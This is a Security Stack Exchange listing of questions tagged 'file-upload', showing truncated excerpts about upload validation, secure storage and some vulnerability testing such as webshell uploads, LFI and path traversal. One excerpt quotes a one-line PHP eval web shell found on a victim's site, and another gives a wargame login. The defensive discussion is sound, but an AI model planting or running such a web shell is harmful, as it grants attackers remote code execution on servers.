Questions tagged [file-upload]

File upload means sending a file from a local system to a remote system such as a server or another client with the intent that the remote system should store a copy of the file being transferred.

Filter by
Sorted by
Tagged with
0 votes
0 answers
94 views

The safest and fastest way to upload files in Docker Container

In a docker project of Asp.net Core MVC 6.0, users must upload files to wwwroot of the project but nothing checks to see if the file is safe or not. I check file extensions with my file header library ...
mamad2559's user avatar
  • 101
0 votes
1 answer
50 views

Does using Apache/nginx actually improve security of a webapp?

Let's say there is a webapp where users can upload files with sensitive data and view analytics generated by the backend. Does using a reverse proxy like nginx or Apache actually help with the ...
BigMistake's user avatar
0 votes
1 answer
62 views

Secure Serving of File Uploads on PHP Server without Root Config Possibilities? (Apache)

To secure the file uploads to a PHP/Apache server, I have already implemented the following steps: Solid upload validation from PHP Framework Used own names for uploaded files Place uploaded files in ...
DevelJoe's user avatar
  • 131
0 votes
2 answers
105 views

Where is the file upload path on a webserver? [closed]

I'm currently testing file upload vulnerability. How should I identify the webserver's file upload path by analyzing or intercepting the POST traffic?
MMDF's user avatar
  • 1
0 votes
2 answers
314 views

LFI to RCE in java EE Application

I found vulnerable end-points in my university's old portal. It should not be accessible but I found it somehow. -> First end-point allows me to upload any kind of file on following path : /home/...
Abu Bakar's user avatar
0 votes
1 answer
55 views

Security requirements to upload an excel file to a cloud blob storage

I want an authenticated user to upload an excel file to our web application. The Excel file will be parsed to generate structure. Security is important, so we'll need to prove that we follow best ...
Glasnhost's user avatar
  • 151
0 votes
0 answers
46 views

Can malicious files be traced and removed from my phone

I had a files analysis done on my phone using Falcon Sandbox. An alarming amount of malicious files,marked as clean, were found,identified,and shown each capable abilities. Literally THE ONLY thing of ...
Curiouskat's user avatar
1 vote
1 answer
726 views

Validate File Uploads in PHP: PDFs and images

We're trying to secure our upload forms in PHP regarding image uploads and PDF files. For this purpose, we're currently trying to do the following in all cases, according to our research done so far: ...
DevelJoe's user avatar
  • 131
1 vote
0 answers
620 views

Uploading webshell in ASP.net application using directory-traversal and file-upload vulnerability

On my target site, I found two vulnerabilities, unrestricted file upload(to any directory) and directory traversal. I have two end points : 1- site.com/fileUp : uploads file { ----Request Parameters---...
Abu Bakar's user avatar
0 votes
0 answers
95 views

Does Burp Suite affect my request directly?

When I try to bypass the security configuration of Natas13 (http://natas13.natas.labs.overthewire.org/ A/P:natas13/lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9) while using Burp Suite Community Edition on ...
Iris Chen's user avatar
1 vote
2 answers
447 views

Malware prevention of data received in a POST endpoint

Problem Having one HTTPS api which has an endpoint i.e POST data how can we prevent/check that the data received is not malicious or possibly detrimental? To consider (please read) POST data receives ...
Federico Baù's user avatar
0 votes
0 answers
264 views

Confirming File upload directory traversal without knowing upload path or being able to retrieve the uploaded file?

I am faced with a file upload functionality. We can upload docs and png's but cannot view them. I have tested for several things so far and now would like to test for directory traversal via file name....
AlexWPryor's user avatar
0 votes
1 answer
386 views

Does user uploaded image file to HTML input form pose a risk?

I have a site where I need to get a logo from the user, they can click the input form and upload only .jpeg or .png files. After this the file will stay client side and be used to automatically create ...
AskedSuperior's user avatar
3 votes
0 answers
627 views

Protection against JPEG compression bombs

There is a well-known threat named compression bombs. Such image formats as PNG and JPEG use compression methods, and therefore and in theory PNG/JPEG images might be a compression-bomb. I've found an ...
salazar324's user avatar
1 vote
1 answer
1k views

What are the security concerns of embedding Base64-encoded images into an HTML document?

We are developing an MVC web-application in Django and having concerns about image uploading. First of all, here are our business requirements: Our users can upload images (like profile pictures, etc)...
salazar324's user avatar
1 vote
2 answers
261 views

File Upload(what type of file)

While I was learning about file upload vulnerability one question come to my mind. What type of file do I use while hunting file upload vulnerability ? Do I need to detect which programming language ...
charlie's user avatar
  • 11
1 vote
1 answer
220 views

File sharing with compromised Windows machine

I want to connect a known to be compromised Windows machine to the network for file sharing, it has lots of pirated software installed therefor not secure. Can it be isolated so that nothing can ...
humky's user avatar
  • 11
1 vote
2 answers
520 views

How to design a secure file storage/sharing platform

As the title implies, I would like to design a secure file storage/sharing platform. This is an abstract design question, so details regarding programing languages or platforms are not particularly ...
Petru Tanas's user avatar
0 votes
0 answers
30 views

Sending logs with bug reports: how to defend against easy exploits like malicious file enlargement?

When a crash occurs or when a user reports a bug, I'd like to send my application's logs to a cloud service (Firebase). But I've just realised that there are tons of kindergarten level exploits. For ...
Tudvari's user avatar
  • 123
0 votes
0 answers
323 views

Should I validate file types on server upload, and how?

I am trying to implement secure file uploads. I need to support various file types, including PDF, XLS, and XSL. I have implemented some basic controls, such as: Store files outside the web root ...
srk's user avatar
  • 109
0 votes
1 answer
118 views

What's the point in blocking content upload by extension?

In a web application I manage, we have installed an option to let the users to upload files. The files are stored directly in the database. The security department of the company have requested us to ...
Raul Luna's user avatar
  • 121
0 votes
1 answer
822 views

Does an insecure ftp connection compromise all other data transfers?

I am not a technical person. My company recently asked me to install FileZilla to transfer files to and from a server in my company. So I installed FileZilla and typed in the credentials my company ...
user avatar
0 votes
0 answers
88 views

How to find out what payloads are being uploaded when I am running a scan of remote website?

I have been running an Acunetix vulnerability scan of a remote website (containing 50 subdomains). I am not doing anything else on this system. However, my system is connected to a remote VPS via VPN, ...
Shy's user avatar
  • 121
0 votes
0 answers
80 views

Possibility of arbitrary file upload where upload converted to png

Would a file upload function be vulnerable to code execution where the uploaded file is always converted to a PNG file by the application? For example, if one uploads shell.php and this file is ...
synthesis's user avatar
  • 155
1 vote
1 answer
334 views

TOCTOU (Time-of-check to time-of-use) possible without file system access?

I'm wondering if it's possible to exploit a TOCTOU vulnerability without having local access to file systems? For example, in the context of a user uploading a file to a webserver, is this timing ...
qUEnbcAr's user avatar
0 votes
1 answer
556 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
Bob's user avatar
  • 79
1 vote
1 answer
410 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
gabtzi's user avatar
  • 111
1 vote
2 answers
1k views

File Upload - scan in-memory or after saving

The web-application I'm working on will allow users to upload files (Word / PDF etc.). I intend to run a clamav scan on the files after upload before anything further is done with them. From a ...
Kris C's user avatar
  • 113
0 votes
1 answer
702 views

Django File Validation

I' m building a REST API with Django and Django Rest Framework. I allow users to upload images and videos using different subclasses of ModelSerializer. When a file is received, the server saves it to ...
Alain Bianchini's user avatar
0 votes
1 answer
278 views

Is there an encryption mechanism for binary data with expiration for rotating keys?

We have a web server with an application - there is a large data array attached to the application via a mount point. We have to fulfill the requirement of securing in-transit data and at-rest data. ...
Barry Chapman's user avatar
1 vote
2 answers
2k views

Amazon AWS S3 Unrestricted File Upload

While I was pentesting a web application, I found out that files that are uploaded to the web application are stored in an AWS S3 instance. Based on my experience, when a web application needs to ...
Emanuel Beni's user avatar
1 vote
1 answer
988 views

How can I make sure an image uploaded to my server is not harmful? [duplicate]

I would like to allow users of my app to upload images in different formats that other users can view (including webm videos). But I would also like to make sure that the images are actual images and ...
user2741831's user avatar
1 vote
0 answers
1k views

NodeJS, unrestricted file upload, RCE [closed]

I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS ...
momola's user avatar
  • 11
0 votes
1 answer
195 views

Unrestricted file write in Java

Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly ...
Fred's user avatar
  • 1
1 vote
1 answer
428 views

Anonymous video uploading on an internet host

How much video uploading could be trackable for some person who uses the Tor Browser for uploading video on YouTube or other video hosting services with low authorization and sign-up processing, like ...
Soheil Paper's user avatar
0 votes
0 answers
96 views

Should I change the default folder for uploads?

PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
Tom's user avatar
  • 174
0 votes
0 answers
199 views

Server Upload to presigned URL

I am writing a ReST service which enables user to get a tar archive of a set of requested documents. When the request succeeds, the service should upload the file to a pre-signed URL that points to an ...
vishnuvp's user avatar
  • 101
0 votes
1 answer
163 views

Is checking zip content on another PC enough to prevent data leak?

Let's say I have two kind of files on my Windows desktop - first are files that can be published and shared with other people, second kind is confidential and should remain private. To share files I ...
Dominic's user avatar
  • 45
1 vote
2 answers
939 views

Path traversal in POST request?

Does it make sense to try path traversal on the filename value during a file upload request? Should I encode special characters in the POST request? For example POST [...] ----boundary Content-...
Maicake's user avatar
  • 567
3 votes
1 answer
252 views

Are there risks in user-uploaded .txt files sent as a string to PHP

I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed. I'm wetting my feet in PHP, and I've put together a ...
user avatar
1 vote
0 answers
977 views

How do you check if someone faked the last modified date or not? [closed]

I think one of my students faked the modified date of his word file. He's last modified date was exactly the deadline of 13:00:00 (even the seconds are zero). How do i figure this out?? I want to know ...
christopher0809's user avatar
0 votes
1 answer
115 views

Cryptographic File Storage scheme

First of all,I am new to security as a whole and taking my first formal course on it.So sorry if any major errors are present. I had a scheme for remote file storage as an attempt to use my course ...
Girish Srivatsa's user avatar
2 votes
4 answers
515 views

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln. So I am making my post request to my vulnerable site and import requests header = { 'User-Agent':'Mozilla/5.0 (Windows; U; ...
RFIx's user avatar
  • 21
3 votes
1 answer
1k views

Prevent Cross Site Scripting but still support HTML file upload

I have a web application where user can upload and view files. The user has a link next to the file (s)he has uploaded. Clicking on the link will open the file in the browser (if possible) or show the ...
Mahesh V S's user avatar
2 votes
1 answer
928 views

CVE-2017-15580: Getting code execution with upload

I'm testing a target with osTicket 1.7 for CVE-2017-15580. Instead of getting a shell, I'm trying to get the target to make an HTTP request to a temporary end-point. My temporary end-point is https://...
ChocolateOverflow's user avatar
1 vote
1 answer
340 views

sudo systemctl running a webserver a security risk?

On linux ami the only way to easily run systemctl for my server is by running sudo systemctl start node In the service: /etc/systemd/system/node.service sudo seems to be mandatory for the 'enable',...
user1709076's user avatar
1 vote
1 answer
380 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
gx1's user avatar
  • 21
1 vote
1 answer
115 views

CVE-2019-14748 but the file is downloaded and open locally - can it be used for XSS?

I'm testing CVE-2019-14748 on an example.com with osTicket. I've uploaded a test.html with the basic <script> and <img> XSS payloads which run when a user opens test.html. However, in ...
ChocolateOverflow's user avatar
1 vote
2 answers
839 views

Uploading sensitive data, Should I user memoryStorage (buffer) or save and delete file?

I need to save very sensitive data from an Excelfile that the user uploads. The data will then be saved to mySQL. All is done in Node.js. Now I wonder what is the most secure way to upload the file. ...
Hejhejhej123's user avatar
1 vote
1 answer
200 views

XSS injection in the name of a file to be sent

I found a reflected XSS in a POST request that sends a file to the web server. The HTTP POST Request The HTTP 200 OK Response When I want to try to insert document.cookie in the payload, the web ...
Fosfor's user avatar
  • 13

1
2 3 4 5 6